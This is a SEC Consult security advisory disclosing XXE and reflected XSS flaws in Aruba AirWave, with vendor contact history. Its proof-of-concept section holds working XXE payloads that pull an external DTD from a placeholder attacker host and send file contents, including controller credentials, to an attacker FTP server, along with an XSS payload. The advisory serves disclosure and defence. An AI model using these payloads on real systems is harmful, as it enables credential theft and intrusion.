XML External Entity Injection (XXE),

SEC Consult Vulnerability Lab Security Advisory < 20170301-0 >

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title: XML External Entity Injection (XXE),

Reflected Cross Site Scripting

product: Aruba AirWave

vulnerable version: <=8.2.3

fixed version: 8.2.3.1

CVE number: CVE-2016-8526, CVE-2016-8527

impact: high

homepage: www.arubanetworks.com

found: 2016-11-21

by: P. Morimoto (Office Bangkok)

SEC Consult Vulnerability Lab

An integrated part of SEC Consult

Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow

Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich

www.sec-consult.com

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Vendor description:

-------------------

"Aruba, a Hewlett Packard Enterprise company, (formerly "Aruba Networks, Inc.")

is a networking vendor selling enterprise wireless LAN and edge access

networking equipment. The company has over 1,800 employees and is

headquartered in Sunnyvale, California. Aruba's core products are access points

(APs), mobility controllers, and network management software through their

Airwave Management Platform product."

Source: en.wikipedia.org/wiki/Aruba_Networks

Business recommendation:

------------------------

SEC Consult recommends not to use the product in a production environment

until a thorough security review has been performed by security professionals

and all identified issues have been resolved.

Vulnerability overview/description:

-----------------------------------

1) XML External Entity Injection (CVE-2016-8526)

The used XML parser is resolving external XML entities which allows attackers

to read files and send requests to systems on the internal network (e.g port

scanning).

The vulnerability can be exploited by a low privileged read-only user

to read sensitive information / files with malicious XML code.

Note that as Aruba's passwords are encrypted with a shared static key,

privilege escalation to admin role is also possible!

Multiple different functions are affected by XXE.

According to the vendor another researcher has also found one of the XXE issues, hence

credits go to them as well.

Vendor: "Although the team hasn't reproduced this yet, I’ve had other reports

come in through our bug bounty program last month about XXE issues in VisualRF.

One of the issues you reported is the same, and you reported three others that we

haven't seen yet."

2) Reflected Cross Site Scripting (CVE-2016-8527)

Due to the lack of input validation, an attacker can insert malicious JavaScript

code to be executed under a victim's browser context.

Proof of concept:

-----------------

1) XML External Entity Injection (CVE-2016-8526)

a) XXE in VisualRF Backup Sites

Navigate to VisualRF > Floor Plans > Select 'View' under 'Network' section.

Select a campus (e.g. Default Campus) > Select 'Edit' >

Select action 'Export Floor Plans' > Ok

POST /visualrf/backup_sites HTTP/1.1
Host: <AirWaveHost>
[...]

xml=<?xml version="1.0" encoding="UTF-8" ?><!DOCTYPE x [<!ENTITY %25 foo SYSTEM "http://<AttackerHost>:1234/sectest.dtd">%25%66%6f%6f%3b%25%70%61%72%61%6d%31%3b]><visualrf:sites xmlns:visualrf="http://www.airwave.com/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="1">%26%65%78%66%69%6c%3b</visualrf:sites>

$ cat sectest.dtd
<!ENTITY % data SYSTEM "file:///<removed>">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://<Attacker>:2121/%data;'>">

$ python -m SimpleHTTPServer 1234
$ wget https:// raw.githubusercontent.com/ONsec-Lab/scripts/master/xxe-ftp-server.rb
$ ruby xxe-ftp-server.rb
FTP. New client connected
< USER anonymous
< PASS Java1.8.0_102@
> 230 more data please!
< TYPE I
> 230 more data please!
< CWD [General]
[...]
< ; set global WLC credentials
> 230 more data please!
< wlc_user: <username>
> 230 more data please!
< wlc_pasw: <password>
[...]

b) XXE in Visual RF Site Restore

$ cat version.xml
   <?xml version="1.0" encoding="UTF-8" standalone="no"?>
   <!DOCTYPE x [<!ENTITY % foo SYSTEM "http://<AttackerHost>:1234/version.dtd">%foo;%param1;]>
   &exfil;<backup backup-time="Mon Nov 21 14:44:41 CET 2016" build="${svn.build}" plan-mode="false" version="8.0.0"/>

$ zip backup_sectest.zip version.xml
  adding: version.xml (deflated 16%)

And then just upload the backup_sectest.zip via the restore functionality.

POST /nf/visualrf_siterestore HTTP/1.1

Host: <AirWaveHost>

[...]

------WebKitFormBoundaryjPK7DdVbiNVDEJ2A

Content-Disposition: form-data; name="zip"; filename="backup_sectest.zip"

Content-Type: application/zip

[.. backup_sectest.zip ..]

------WebKitFormBoundaryjPK7DdVbiNVDEJ2A

Content-Disposition: form-data; name="import"

Import

------WebKitFormBoundaryjPK7DdVbiNVDEJ2A--

c) XXE in Visual RF Verify

POST /visualrf/verify/<Site-ID> HTTP/1.1
Host: <AirWaveHost>
[...]

<?xml version="1.0" encoding="UTF-8" ?><!DOCTYPE x [<!ENTITY % foo SYSTEM "http://<AttackerHost>:1234/sectest.dtd">%foo;%param1;]><visualrf:sites xmlns:visualrf="http://www.airwave.com/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="1"><site 
[...]
/>&exfil;</site></visualrf:sites>

2) Reflected Cross Site Scripting (CVE-2016-8527)

Note that the XSS payload can be used with either HTTP parameter 'start' or 'end'.

GET /visualrf/group_list.xml?aps=1&start=%3ca%20xmlns%3aa%3d'http%3a%2f%2fwww.w3.org%2f1999%2fxhtml'%3e%3ca%3abody%20onload%3d'alert(/XSS/)'%2f%3e%3c%2fa%3e&end=500&match HTTP/1.1
Host: <AirWaveHost>

[...]
HTTP/1.1 200 OK
[...]

<?xml version='1.0' encoding='UTF-8' standalone='yes'?>
<results>
  <error>For input string: "<a xmlns:a='http://www.w3.org/1999/xhtml'><a:body onload='alert(/XSS/)'/></a>"</error>
</results>

Vulnerable / tested versions:

-----------------------------

The following versions are affected by the identified vulnerabilities which

were the most recent versions at the time of discovery:

Aruba AirWave version <8.2.3.1

Vendor contact timeline:

------------------------

2016-11-23: Contacting vendor through aruba-sirt@hpe.com

2016-11-23: Vendor: Established communication over encrypted channel and asked

for extending the disclosure date due to the upcoming holidays

2017-01-18: CVE-2016-8526 was assigned for the XXE issue, and CVE-2016-8527 for

the reflected XSS issue.